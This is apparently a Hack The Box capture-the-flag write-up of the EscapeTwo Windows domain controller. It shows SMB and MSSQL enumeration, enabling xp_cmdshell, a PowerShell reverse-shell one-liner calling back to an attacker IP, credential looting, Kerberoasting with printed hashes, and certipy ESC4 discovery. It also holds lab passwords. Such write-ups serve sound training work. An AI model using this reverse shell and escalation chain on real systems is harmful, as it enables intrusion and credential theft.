


# Attack

Enumeration:

IP: 10.10.11.51

This time we started with some credentials: rose:KxEPkKe6R8su

nmap scan:



```

(kali@kali)-[~/HTB/EscapeTwo]
$ nmap -sC -sV -A 10.10.11.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-11 12:18 EDT
Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 8.33% done; ETC: 12:19 (0:01:06 remaining)
Nmap scan report for 10.10.11.51
Host is up (0.11s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2025-03-11 16:18:42Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn      Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ ssl-date: 2025-03-11T16:20:09+00:00; 0s from scanner time.
|_ ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_ Not valid after: 2025-06-08T17:35:00
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap         Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ ssl-date: 2025-03-11T16:20:09+00:00; 0s from scanner time.
|_ ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_ Not valid after: 2025-06-08T17:35:00
1433/tcp  open  ms-sql-s         Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ ms-sql-ntlm-info:
|   10.10.11.51:1433:
|   Target_Name: SEQUEL
|   NetBIOS_Domain_Name: SEQUEL
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: sequel.htb
|   DNS_Computer_Name: DC01.sequel.htb
|   DNS_Tree_Name: sequel.htb
|_ Product_Version: 10.0.17763
|_ ms-sql-info:
|   10.10.11.51:1433:
|   Version:
|   name: Microsoft SQL Server 2019 RTM
|   number: 15.00.2000.00
|   Product: Microsoft SQL Server 2019
|   Service pack level: RTM
|   Post-SP patches applied: false
|_ TCP port: 1433
|_ ssl-date: 2025-03-11T16:20:09+00:00; 0s from scanner time.
|_ ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-03-11T16:17:24
|_ Not valid after: 2025-03-11T16:17:24
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ ssl-date: 2025-03-11T16:20:09+00:00; 0s from scanner time.
|_ ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_ Not valid after: 2025-06-08T17:35:00
3269/tcp  open  ssl/ldap         Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ ssl-date: 2025-03-11T16:20:09+00:00; 0s from scanner time.
|_ ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2024-06-08T17:35:00
|_ Not valid after: 2025-06-08T17:35:00
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-03-11T16:19:31
|_ start_date: N/A

```

This seems to be a windows Server.

```
nmap -p 389 -T4 -A --script ldap-rootdse 10.10.11.51
```

```
htb
| schemaNamingContext: CN=Schema,CN=Configuration,DC=sequel,DC=htb
| namingContexts: DC=sequel,DC=htb
| namingContexts: CN=Configuration,DC=sequel,DC=htb
| namingContexts: CN=Schema,CN=Configuration,DC=sequel,DC=htb
| namingContexts: DC=DomainDnsZones,DC=sequel,DC=htb
| namingContexts: DC=ForestDnsZones,DC=sequel,DC=htb
| isSynchronized: TRUE
```

```
crackmapexec smb 10.10.11.51 --shares -u rose -p KxEpkKe6R8su --users
```

```

[*]kali@kali: ~/HTB/EscapeTwo
$ crackmapexec smb 10.10.11.51 --shares -u rose -p KxEpkKe6R8su --users
SMB 10.10.11.51 445 DC01 [+] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [*] sequel.htb\rose:KxEpkKe6R8su
SMB 10.10.11.51 445 DC01 [+] Enumerated shares
SMB 10.10.11.51 445 DC01 Share Permissions Remark
SMB 10.10.11.51 445 DC01 Accounting Department READ
SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.51 445 DC01 C$ Default share
SMB 10.10.11.51 445 DC01 IPC$ Remote IPC
SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share
SMB 10.10.11.51 445 DC01 Users READ
SMB 10.10.11.51 445 DC01 [+] Enumerated domain user(s)
SMB 10.10.11.51 445 DC01 sequel.htb\ca_svc badpwdcount: 0 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\rse badpwdcount: 16 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\sql_svc badpwdcount: 0 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\oscar badpwdcount: 2 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\ryan badpwdcount: 0 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\michael badpwdcount: 1 desc:
SMB 10.10.11.51 445 DC01 sequel.htb\krbtgt badpwdcount: 1 desc: Key Distribution Center Service Account
SMB 10.10.11.51 445 DC01 sequel.htb\Guest badpwdcount: 1 desc: Built-in account for guest access to the computer/domain
SMB 10.10.11.51 445 DC01 sequel.htb\Administrator badpwdcount: 0 desc: Built-in account for administering the computer/domain

```

```
#connect using Credentials
smbclient //10.10.10.51/direcorty -U user

#to get all files in that direcortu
mask ""
recurse ON
prompt OFF
mget *
```

And I found some credentials under:  
xl\worksheets\sharedStrins.xml

I asked chat GPT to format the list for me and here are the creds:

Username Password Email

angela 0fwz7Q4mSpurlt99 [angela@sequel.htb](mailto:angela@sequel.htb)

oscar 86LxLBMgEWaKUnBG [oscar@sequel.htb](mailto:oscar@sequel.htb)

kevin Md9Wlq1E5bZnVDVo [kevin@sequel.htb](mailto:kevin@sequel.htb)

sa MSSQLP@ssw0rd! [sa@sequel.htb](mailto:sa@sequel.htb)

It says that we have the MSSQL database password, let's connect and see what we can get from there

And we are in

```
(kali㉿kali)-[~/HTB/EscapeTwo/accountingdep/accounts]
$ sqsh -S 10.10.11.51 -U sa
sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray
Portions Copyright (C) 2004-2014 Michael Pepler and Martin Wesdorp
This is free software with ABSOLUTELY NO WARRANTY
For more information type '\warranty'
Password:
1>
```

First I created a new user named hacker, because I can (lol)

```
USE master;
CREATE LOGIN hacker WITH PASSWORD='P@ssword123';
ALTER SERVER ROLE sysadmin ADD MEMBER hacker;
```

Then I managed to enable xp\_cmdshell using this commands (<https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-ver16>):

```
USE master;
GO

EXECUTE sp_configure 'show advanced options', 1;
GO

RECONFIGURE;
GO

EXECUTE sp_configure 'xp_cmdshell', 1;
```

GO

RECONFIGURE;

GO

EXECUTE sp\_configure 'show advanced options', 0;

GO

RECONFIGURE;

GO

```
SQL (hacker dbo@master)> use master
ENVCHANGE(DATABASE): Old Value: master, New Value: master
INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
SQL (hacker dbo@master)> EXECUTE sp_configure 'show advanced options', 1;
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (hacker dbo@master)>
SQL (hacker dbo@master)> go
ERROR(DC01\SQLEXPRESS): Line 1: Could not find stored procedure 'go'.
SQL (hacker dbo@master)> RECONFIGURE;
SQL (hacker dbo@master)> EXECUTE sp_configure 'xp_cmdshell', 1;
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (hacker dbo@master)> RECONFIGURE;
SQL (hacker dbo@master)> EXECUTE sp_configure 'show advanced options', 0;
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 0. Run the RECONFIGURE statement to install.
SQL (hacker dbo@master)> RECONFIGURE;
SQL (hacker dbo@master)>
SQL (hacker dbo@master)> EXEC xp_cmdshell 'whoami /priv';
output
-----
NULL
PRIVILEGES INFORMATION
-----
NULL
Privilege Name      Description      State
-----
SeChangeNotifyPrivilege  Bypass traverse checking  Enabled
SeCreateGlobalPrivilege  Create global objects     Enabled
SeIncreaseWorkingSetPrivilege  Increase a process working set  Disabled
NULL
SQL (hacker dbo@master)> █
```

We have RCE now let's get a remote shell

after playing around I got it!

```

SQL (sa dbo@master)> RECONFIGURE;
SQL (sa dbo@master)> EXEC xp_cmdshell 'powershell -c "whoami"';
output
sequel\sql_svc
NULL
SQL (sa dbo@master)> EXEC xp_cmdshell '';
output
NULL
SQL (sa dbo@master)> EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''10.10.14.46'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>61 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();$client.Close()}";';

```

```

PS C:\users> cd Administrator
PS C:\users> ls

Directory: C:\users

Mode                LastWriteTime         Length Name
----                -
d-----         12/25/2024    3:10 AM      Administrator
d-r-----         6/9/2024     4:11 AM          Public
d-----         6/9/2024     4:15 AM          ryan
d-----         6/8/2024     4:16 PM       sql_svc

PS C:\users> cd Administrator
PS C:\users\Administrator> ls
PS C:\users\Administrator> ls -la
PS C:\users\Administrator> cd ..
PS C:\users>

```

I can't access much as is, I need to find a way to get more credentials

Looking at more folders I noticed a folder named sql2019, inside of it there was an ini file for the initial configuration, it had our sa account password and another one as well named SQ:SVCPassWord:

```

PS C:\sql2019\ExpressAdv_ENU> cat setup.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <startup>
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6"/>
  </startup>
  <runtime>
    <loadFromRemoteSources enabled="true" />
    <legacyCorruptedStateExceptionsPolicy enabled="true" />
    <AppContextSwitchOverrides value="Switch.UseLegacyAccessibilityFeatures=false;Switch.UseLegacyAccessibilityFeatures.2=false;Switch.UseLegacyAccessibilityFeatures.3=false"/>
  </runtime>
</configuration>
PS C:\sql2019\ExpressAdv_ENU> cat sql-configuration.ini
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCAccount="NT Service\ReportServer$SQLEXPRESS"
AGTSVCAccount="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL="0"
COMMFABRICENCRYPTION="0"
MATRIXCMDBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SQLSERVER\sql_svc"
SQLSVCACCOUNT="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SQLSERVER\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
PS C:\sql2019\ExpressAdv_ENU>

```

Let's add this to our password and user list:

And we have a pwd for Ryan:

```

.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.51 5985 DC01 [-] sequel.htb\sa:MSSQLP@ssw0rd!
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved
.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.51 5985 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)

```

Ryan seems to be admin on this box too :)

Let's try connecting using his credentials to see what we can get

And we have our first flag:

```
(kali@kali)-[~/HTB/EscapeTwo]
$ evil-winrm -i 10.10.11.51 -u ryan -p WqSZAF6CysDQbGb3
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completions
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> ls
*Evil-WinRM* PS C:\Users\ryan\Documents> cd ..
ls
*Evil-WinRM* PS C:\Users\ryan> ls
Directory: C:\Users\ryan
Mode                LastWriteTime         Length Name
----                -
d-r-----        6/9/2024   4:24 AM                Desktop
d-r-----       1/6/2025   5:32 AM                Documents
d-r-----        9/15/2018  12:19 AM                Downloads
d-r-----        9/15/2018  12:19 AM                Favorites
d-r-----        9/15/2018  12:19 AM                Links
d-r-----        9/15/2018  12:19 AM                Music
d-r-----        9/15/2018  12:19 AM                Pictures
d-r-----        9/15/2018  12:19 AM                Saved Games
d-r-----        9/15/2018  12:19 AM                Videos

*Evil-WinRM* PS C:\Users\ryan> cd Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> ls
Directory: C:\Users\ryan\Desktop
Mode                LastWriteTime         Length Name
----                -
-a-r-----       3/11/2025   9:17 AM                34 user.txt


*Evil-WinRM* PS C:\Users\ryan\Desktop> cat user.txt
6be32af31aad8f980e809cac9ccefd05
*Evil-WinRM* PS C:\Users\ryan\Desktop>
```

We still don't have access to this folder tho:

```
*Evil-WinRM* PS C:\Users> cd administrator
*Evil-WinRM* PS C:\Users\administrator> ls
Access to the path 'C:\Users\administrator' is denied.
At line:1 char:1
+ ls
+ ~
+ CategoryInfo          : PermissionDenied: (C:\Users\administrator:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
*Evil-WinRM* PS C:\Users\administrator> cd ..
*Evil-WinRM* PS C:\Users>
```

Now After we have initial access we can use bloodhound for privilege escalation.





Our user has CanPSRemote:

## Help: CanPSRemote

[Info](#)[Abuse Info](#)[Opsec Considerations](#)[References](#)

Abuse of this privilege will require you to have interactive access with a system on the network.

A remote session can be opened using the New-PSSession powershell command.

You may need to authenticate to the Domain Controller as RYAN@SEQUEL.HTB if you are not running a process as that user. To do this in conjunction with New-PSSession, first create a PSCredential object (these examples comes from the PowerView help documentation):

```
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
```

Then use the New-PSSession command with the credential we just created:

Close

We already have remote access, though...

Another cool tool I found was targetedKerberoast.py, I managed to get 2 kerberos hashes:

```

(kali@kali)~[/tools/targetedKerberoast]
$ python3 targetedKerberoast.py -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 -v
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (sql_svc)
$krb5tgs$23*$sql_svc$SEQUEL.HTB$sequel.htb/sql_svc$7f47d8bf2f69da09217f4eada23de550$2f8f3f5d011c8b849b49728a3aa3af3db1557ad45baa
33449b2659d740f4eafc8aa395253c603ec16c743725227d7e1ef9ff12d13773f99b1c4505a2b8be8c5390a9192d4c3ce515fb2d750400ceb94afff29acbc6dec
db04006bdbbce16c48d05ed723b3fe611bb5a25c972e077602fb8abe5c22565a89288c5be0864ac4f59f9dbbd625272e70d6aee5ac0e5647372c13a1f9bb8249
7dadac5c5725ecf755dd7682d08753c423f2ac0e996324429bc426d1b58423066264a9b7e29a87009b808673f2f6b63712cccc39698ae449327b255ad381ed1
de5c71d407dc58bcebe8a3ce46496be55e9f2365bda07495143aec0a4523ca2de57b6be5b24ea5fe68af0051ce90af54ccccfa3fe4ffa228f397732842608c9b6d
464f3e8642f549c039a63b1448723feccfcac014f20deaf5a2b797eb1aa1f1ccddab325d89ce879e48969f416d1e47b059631e45ca84e9cc13ec0fe2c9cce47d94
839dea7fca8ce9ffa5d2912b8d61a6384cd04571e38928ae6506f692ebe44cdd3abc9e44ebd1c38bca5e37bd6547d651598513d9bca84671360586fc1b47cfebc
e41839eba6e253aebc7789b72becb6e6312b3287737f22d6ca3e973ad422fde7e0cbe95bba231fa0cf53b12fcd1d09d0506e0bfb30331de45c5c8221c68499f
ca89a399430df1e3d7c57f4e485d0762d16857173bde849e6a4941a2de3ef6292129b79951efc8156c56c0931e0b24e8e7ac856fc199dab9d6548fb6b074bd7a
501110f9eff65702487ab6e9dadb1229f52cd66fae7605f2621825ca8ae81ece6b4188281015dd4d8f1e86e762de2ebc1af077faa096644a7277e81b127165d51
87ccd4ca73d5b811e79c4877eed62b17cdd17e64c8b3e5365e79bc085c35bcd06cadf40879c8bf524097da8f63579d50263455e485dfb50f07e79e26f289af52
581093f50d256da0fc44946e63e00a49367beb416bf231005c6f0dc42d233fde95cd62c15a1d8ba4a070956035b258949abde2f1465f1fb7c7c92ba72e00c5be
22f608099d1b8b67cf4d9628430058d30d609fee00b110ba58fda2f7182ea2998a8306b03e40e9adac0ce5461b8228782c3270b5745a3174f4c0c1bc4bf22b02
e1dfefbfe3bba9973a68158df3319806874b46210182f83bf86f7c0df53d8810dedec69c31ef7d167b5852f596116761d8a14fe2d277d141657aa8e99cc5e4e6
d4a72521dc7a499855b3ac887dd21b875ae1900a46d497462c298cf72bca937473941fcd942e27944bf6b65e1f235678886c7fb8bd1d94fa9dbe47b9221ec56f4
0c7186a5f773e791b5cd1d06ce76dd67e6fc20cd9bdb9e6840d540d50d6dc00e14281c5378665c5bd1dbf71e0e51518f0223128096117c8ef950d0eaa6264e2d6
cc7cf2cdc9d9f243ceca9062937429981f333538ad308e3430fc6f57855a6f47dc
[+] Printing hash for (ca_svc)
$krb5tgs$23*$ca_svc$SEQUEL.HTB$sequel.htb/ca_svc$7f319df4e61f2b28b376dd1f032cb2af5$5073657915a61068330a26fd1f816ba6329e0f524c6fc5
779f1b1755ad85ec7e87a898ca5a9c30edd349e1f0c6d79de0fa17b2b83b7590eaa8497c77409b62c2fc639048dce567ad8f1d4a395c9c07f8917101d8eb99159
3bd8f63e089a1f3a2b2e104b16c71195da8668e1ef02f8fca2d0893b8f44483f1ab1f5c64a8ed0e680dbc549ab778c51766dc99fb7fca859fd8d80aef7b86d33
90846d58128e0a28da5e225be42089ca2d46627f6f7e366672218f15a39011c849e297d150c91b0748cf0c4e83e4db43377a0679265acdcb2cdca5d677a17f8363
79ce31d1246aea4018a1dc25b1cb4626d92228290f2440c022662b1ebd547b441fc598cb0c4932f6088e3b1e20d0eb14f0344d507987d630d7c205812061ad2b
74c37f0b1c458bfd387a67b327003858910d7eeec15da8963402a10a5e22143072ba2ae2e0bcb6b6d86aa89fe109c1f277b93bf360f76c56acd1f35d414c5da607
bd93fa452edbe7ddc73078973ef061f504246c22eb066827de0b3db9229136f0862e00ca857a6f2fd12cea8ffee4207586ff000bdddadc4eaf3d9467840a175d
01627473d775548e853f38ad49ede03d673a771af0ebd40abae80bb8e31e11dd5825825c16b3e3ef820aeae71504a9eb5d7eed9feff49c461ef1a8baaec52f8e
a1f750108b7fa5a6eda2c54f09ebcbca84fd6f3c1e8dc728a0d2081a43fb1108fc28db7baa880f13423228270aad9fdd7a7ca1531ed47789b96fd3ffbf981b17d2
f3cab7e35b36607e66637e3c81a3f2b5ef5ead081f664f1c838208d9650375ebf819ba37ed90a460e447b2d86f010df1d93e72888414644ae89f666a5b893bf39
0856f54282e0ca57c989f03949093050ee63afae8a715884c3a64d387d00c2e6e96a7a91f3e637613e29a8f6447d1d8b89d3123ca92c469d636a15d8dea1a86ec
d5f4f0db6eb6d2bda54146553f38e6a69045e32f619267425149eed6071fe837b8e2fb78a9844d417b41ee0a2724d2100e326e8390686288e043c6f7908aaf7
8d30b1ef984239bc83ac04f8ea4d77bdd2f11a7163e2d7588fba97a2f366ab8b8474be0b01a49b014c743da46bf3a8b0cbce39b4aaaf0ca62c477bce31e5300ece
f5a659d0f0b28d402d516622ad211d359240dd05de2727342a633725eb132366ac725f3f63d60dee398fb78d2866653c4664cdd44cc618c2a6211e5361dd4ac
3511e37abd02838d9ebc5ab278bd5700f748be385608b9d754396014de34d3eb28828ca496980a98c5b98d4b95d18a44fcad8237ac202069706bbf00eab544bef
02787468d895fe9e2aecd675af7eebf546a17e50f2abf7e5151dec729b181cf8d359aaf80641caf31739a938e22885edced5d3114b637e5de1da62350daf006
38968febfbf8d03c1e3e1b335d080a51e0c706c68a4b1b471e70a7a7672dc200
(kali@kali)~[/tools/targetedKerberoast]
$

```

We have the hash for ca\_svc, this seems like a service account for a certificate authority.


I also managed to crack the hash using john the ripper:

```

(kali@kali)~[/HTB/EscapeTwo/credentials]
$ john ca_svc_kerberos.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 DONE (2025-03-11 15:59) 0g/s 3962Kp/s 3962Kc/s 3962KC/s !(OPPQR..*7;Vamos!
Session completed.

```

The user Ryan has writeowner over ca\_svc



After running the following command to find vulnerable Certificate:

```
certipy-ad find -vulnerable -u ca\_svc@sequel.htb -hashes  
3b181b914e7a9d5508ea1e20bc2b7fce -dc-ip 10.10.11.51
```

We can find the vulnerable certs by running this:

```
cat *_Certipy.txt | grep -E 'Vulnerabilities|Template Name|ESC'
```

```

(kali@kali)-[~/HTB/EscapeTwo/credentials/certipy]
$ cat *_Certipy.txt | grep -E 'Vulnerabilities|Template Name|ESC'
Template Name           : DunderMifflinAuthentication
[!] Vulnerabilities
    ESC4                 : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions
Template Name           : KerberosAuthentication
Template Name           : OCSPResponseSigning
Template Name           : RASAndIASServer
Template Name           : DunderMifflinAuthentication
Template Name           : Workstation
Template Name           : DirectoryEmailReplication
Template Name           : DomainControllerAuthentication
Template Name           : KeyRecoveryAgent
Template Name           : CAExchange
Template Name           : CrossCA
Template Name           : ExchangeUserSignature
Template Name           : ExchangeUser
Template Name           : CEPEncryption
Template Name           : OfflineRouter
Template Name           : IPSECIntermediateOffline
Template Name           : IPSECIntermediateOnline
Template Name           : SubCA
Template Name           : CA
Template Name           : WebServer
Template Name           : DomainController
Template Name           : Machine
Template Name           : MachineEnrollmentAgent
Template Name           : EnrollmentAgentOffline
Template Name           : EnrollmentAgent
Template Name           : CTLSigning
Template Name           : CodeSigning
Template Name           : EFSRecovery
Template Name           : Administrator
Template Name           : EFS
Template Name           : SmartcardLogon
Template Name           : ClientAuth
Template Name           : SmartcardUser
Template Name           : UserSignature
Template Name           : User

```

We have an EC4 that we can exploit

```

(venv)-(kali@kali)-[~/HTB/EscapeTwo/Certifiactes]
$ KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad find -scheme ldap -k -debug -target dc01.sequel.htb -dc-ip 10.10.11.51 -vulnerable -
stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

```

Here we see Dundermuffin is vulnerable to C4

```

Certificate Templates
0
  Template Name           : DunderMifflinAuthentication
  Display Name            : Dunder Mifflin Authentication
  Certificate Authorities  : sequel-DC01-CA
  Enabled                 : True
  Client Authentication    : True
  Enrollment Agent        : False
  Any Purpose             : False
  Enrollee Supplies Subject : False
  Certificate Name Flag    : SubjectRequireCommonName
                          : SubjectAltRequireDns
  Enrollment Flag         : AutoEnrollment
                          : PublishToDs
  Private Key Flag        : 16842752
  Extended Key Usage      : Client Authentication
                          : Server Authentication
  Requires Manager Approval : False
  Requires Key Archival   : False
  Authorized Signatures Required : 0
  Validity Period         : 1000 years
  Renewal Period          : 6 weeks
  Minimum RSA Key Length  : 2048
  Permissions
    Enrollment Permissions
      Enrollment Rights    : SEQUEL.HTB\Domain Admins
                          : SEQUEL.HTB\Enterprise Admins
    Object Control Permissions
      Owner                : SEQUEL.HTB\Enterprise Admins
      Full Control Principals : SEQUEL.HTB\Cert Publishers
      Write Owner Principals : SEQUEL.HTB\Domain Admins
                          : SEQUEL.HTB\Enterprise Admins
                          : SEQUEL.HTB\Administrator
                          : SEQUEL.HTB\Cert Publishers
      Write Dacl Principals : SEQUEL.HTB\Domain Admins
                          : SEQUEL.HTB\Enterprise Admins
                          : SEQUEL.HTB\Administrator
                          : SEQUEL.HTB\Cert Publishers
      Write Property Principals : SEQUEL.HTB\Domain Admins
                          : SEQUEL.HTB\Enterprise Admins
                          : SEQUEL.HTB\Administrator
                          : SEQUEL.HTB\Cert Publishers

[!] Vulnerabilities
ESC4 : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions

```

We can use this exploit to perform a Shadow credential attack